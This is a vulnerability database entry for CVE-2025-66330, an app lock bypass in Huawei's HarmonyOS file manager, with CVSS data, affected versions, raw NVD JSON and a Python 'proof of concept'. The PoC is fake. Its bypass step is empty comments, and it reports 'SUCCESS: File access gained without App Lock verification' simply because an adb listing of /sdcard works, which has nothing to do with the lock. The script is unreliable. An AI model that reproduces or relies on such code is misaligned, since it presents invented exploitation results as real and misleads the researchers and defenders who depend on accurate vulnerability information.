Security Vulnerability Report
中文
CVE-2025-66330 CVSS 4.9 MEDIUM

CVE-2025-66330

Published: 2025-12-08 09:15:48
Last Modified: 2025-12-08 20:05:21

Description

App lock verification bypass vulnerability in the file management app. Impact: Successful exploitation of this vulnerability may affect service confidentiality.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:* - VULNERABLE
华为文件管理应用(受影响版本详见华为官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66330 PoC - App Lock Verification Bypass # Note: This is a conceptual PoC based on vulnerability description # Actual exploitation requires physical access to the device import subprocess import time def exploit_cve_2025_66330(): """ Conceptual PoC for Huawei File Management App Lock bypass This demonstrates the verification bypass vulnerability """ print("[+] Starting CVE-2025-66330 App Lock Bypass Test") # Step 1: Unlock device with valid credentials print("[*] Step 1: Device unlock with physical access") subprocess.run(['adb', 'shell', 'input', 'keyevent', '82']) # Unlock # Step 2: Launch File Management app print("[*] Step 2: Launching File Management application") subprocess.run(['adb', 'shell', 'am', 'start', '-n', 'com.huawei.filemanager/.MainActivity']) time.sleep(2) # Step 3: Trigger App Lock bypass condition print("[*] Step 3: Triggering App Lock verification bypass") # This would involve specific UI interaction or intent manipulation # The actual bypass technique depends on the specific vulnerability # Step 4: Access protected files without authentication print("[*] Step 4: Attempting unauthorized file access") result = subprocess.run(['adb', 'shell', 'ls', '/sdcard/'], capture_output=True, text=True) if result.returncode == 0: print("[+] SUCCESS: File access gained without App Lock verification") print("Files accessible:", result.stdout) else: print("[-] FAILED: Access denied") return result.returncode == 0 if __name__ == "__main__": exploit_cve_2025_66330()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66330", "sourceIdentifier": "[email protected]", "published": "2025-12-08T09:15:47.750", "lastModified": "2025-12-08T20:05:20.617", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "App lock verification bypass vulnerability in the file management app. Impact: Successful exploitation of this vulnerability may affect service confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.7, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0EBE30DD-E146-4A6A-BE68-DEF9D4D0B2A8"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/12/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}